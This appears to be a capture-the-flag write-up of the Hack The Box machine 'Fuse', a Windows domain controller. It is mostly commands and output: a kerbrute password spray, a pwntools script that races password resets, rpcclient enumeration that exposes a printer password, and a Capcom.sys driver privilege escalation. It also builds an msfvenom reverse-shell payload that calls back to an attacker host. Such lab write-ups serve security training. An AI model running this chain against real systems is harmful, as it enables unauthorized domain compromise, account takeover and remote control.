Fuse
Nmap Scan
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Website Enumeration
When we visit http://10.10.10.193, we are redirected to fuse.fabricorp.local, so we’ll need to add that url to /etc/hosts. Once we’ve done this, we can visit http://fuse.fabricorp.local, and we see that the PaperCut Print Logger is running. Looking through the print logs, we can get a username list:
sthompson pmerton tlavel bhult administrator bnielson
Note: bnielson was found in the Document Name section, rather than the print job creator section.
We also see a document on the website named “Fabricorp01.docx” that looks like it may be a password, so we’ll use kerbute to password spray:
kerbrute passwordspray --dc 10.10.10.193 -d FABRICORP users.txt Fabricorp01 -v
...
2020/06/18 08:16:39 > [!] bnielson@FABRICORP:Fabricorp01 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2020/06/18 08:16:39 > [!] sthompson@FABRICORP:Fabricorp01 - Invalid password
2020/06/18 08:16:39 > [!] tlavel@FABRICORP:Fabricorp01 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2020/06/18 08:16:39 > [!] bhult@FABRICORP:Fabricorp01 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
...
It’s interesting that we’re getting a different error for tlavel, bnielson and bhult. If we do a quick udp nmap scan, we see that port 123 is open, so we can sync our time to the server:
...
123/udp open ntp udp-response ttl 127 NTP v3
...
We’ll use ntpdate to do this:
ntpdate -u fabricorp.local
18 Jun 08:37:16 ntpdate[17686]: step time server 10.10.10.193 offset +1042.801192 sec
Now, if we run kerbrute again, we get the following valid logins:
2020/06/18 08:37:30 > [+] VALID LOGIN: tlavel@FABRICORP:Fabricorp01
2020/06/18 08:37:30 > [+] VALID LOGIN: bhult@FABRICORP:Fabricorp01
2020/06/18 08:37:30 > [+] VALID LOGIN: bnielson@FABRICORP:Fabricorp01
We can try logging into different services (smb/rpc/winrm) with these credentials, but they’re all either expired, or need to be changed on login, since the users haven’t logged in for the first time yet. We can, however, use smbpasswd to change the password remotely:
Note: There’s a ~20 second window before the password is reset to its default, so we have to be quick. We can use the following script:
reset.py:
from pwn import *
import sys
if len(sys.argv) < 3:
print('Usage: ' + sys.argv[0] + ' <username> <new password>')
sys.exit()
username = sys.argv[1]
password = sys.argv[2]
io = process(['smbpasswd', '-U', username, '-r', '10.10.10.193'])
io.recvuntil('Old SMB password:')
io.sendline('Fabricorp01')
io.recvuntil('New SMB password:')
io.sendline(password)
io.recvuntil('Retype new SMB password:')
io.sendline(password)
trash = io.recvline()
finish = io.recvline()
success(str(finish)[2:-3])
To run the script:
python3 script.py bhult Xbx1233
[+] Starting local process '/usr/bin/smbpasswd': pid 29712
[+] Password changed for user bhult
After running the script against our target, we can quickly log in to smb and rpc to further enumerate the machine. None of these logins want to work with evil-winrm, so they may not be in the “Remote Management” group.
Enumeration with RPCClient
We’ll first see if we have any new users:
Then, we’ll check the groups on the box:
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]
IT_Accounts looks interesting, so we’ll dig into that:
rpcclient $> querygroupmem 0x644
rid:[0x450] attr:[0x7]
rid:[0x641] attr:[0x7]
...
rpcclient $> queryuser 0x450
User Name : svc-print
...
rpcclient $> queryuser 0x641
User Name : sthompson
Now that we have two users that we’re most likely meant to go for, we’ll see what we can find out about the printer on the website, since it had a file printed with a password in the name:
rpcclient $> getprinter HP-MFT01
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
Nice, looks like we have a password in the description!
$fab@s3Rv1ce$1
Since it looks like a printer password, we’ll try logging into svc-print using evil-winrm:
$ evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i 10.10.10.193
...
*Evil-WinRM* PS C:\Users\svc-print\Documents>
Internal Enumeration
From here, we can check our privileges:
$ whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
It looks like we’re in the Print Operators group, as we have the SeLoadDriverPrivilege privilege, so we can escalate!
We’ll use a couple of exploits for this:
Explanation of vulnerability:
https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges#seloaddriverprivilege
Capcom.sys:
https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54
Driver Loader:
https://github.com/TarlogicSecurity/EoPLoadDriver
Capcom SYSTEM Priv-esc Exploit:
https://github.com/tandasat/ExploitCapcom
We’ll need to fire up a Windows VM with Visual Studio to compile these correctly.
Before we compile the exploit, we need to create a reverse shell with msfvenom that we can tell the exploit to call:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1234 -f exe > shell.exe
Now, we need to edit ExploitCapcom.cpp slightly, and change the TCHAR CommandLine[] in the function LaunchShell() to the following:
TCHAR CommandLine[] = TEXT("C:\\.tmp\\shell.exe");
Compiling our Exploit
In a nutshell, we can load the ExploitCapcom .sln file into Visual Studio, and compile it first by clicking Build -> Build Solution. We’ll grab the .exe it creates and move it to our attacking machine. Then, we’ll remove ExploitCapcom.cpp from the Source Files in the right pane, and add our eoploaddriver.cpp file to the Source Files. We’ll now build the solution again, and grab our new .exe file.
Note: Visual Studio was looking for a stdafx.h file to pull in, and the header file for ExploitCapcom was sufficient to also build our eoploaddriver exploit.
Once we have all of the files, we can upload then to the box with evil-winrm.
Checklist:
Capcom.sys ExploitCapcom.exe eoploaddriver.exe shell.exe
Getting SYSTEM
Now that we have all of the files uploaded to the victim machine, we can load our driver:
$ eoploaddriver.exe System\CurrentControlSet\MyService C:\.tmp\Capcom.sys
...
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled [+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0
Now that we have it loaded, we’ll need to open a Metasploit listener:
$ msfconsole
$ use exploit/multi/handler
$ set LHOST tun0
$ set LPORT 1234
$ exploit -j
Finally, we’ll run our exploit:
$ ./ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 000002571D360008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
Now, we just catch our shell!
meterpreter > shell
Process 4708 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\.tmp>whoami
whoami
nt authority\system
Voila, we have a system level shell!